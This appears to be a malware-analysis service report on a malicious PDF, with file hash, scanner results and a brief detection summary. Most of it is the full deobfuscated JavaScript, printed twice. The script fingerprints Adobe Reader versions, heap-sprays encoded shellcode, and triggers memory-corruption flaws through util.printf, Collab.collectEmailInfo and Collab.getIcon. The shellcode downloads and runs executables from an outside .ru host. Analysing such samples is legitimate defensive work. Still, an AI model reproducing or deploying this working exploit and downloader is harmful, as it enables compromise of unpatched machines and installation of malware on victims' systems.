function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u632F%u6B68%u7270%u7977%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u632F%u7271%u7673%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5276 bytes
SHA-256: 00b4b3713bd28c4367f39ccac598eb87588ccec25148f21913b5b3b91c2130be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u662F%u6B69%u6D6C%u776F%u7A78%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u632F%u6B68%u7270%u7977%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u632F%u7271%u7673%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.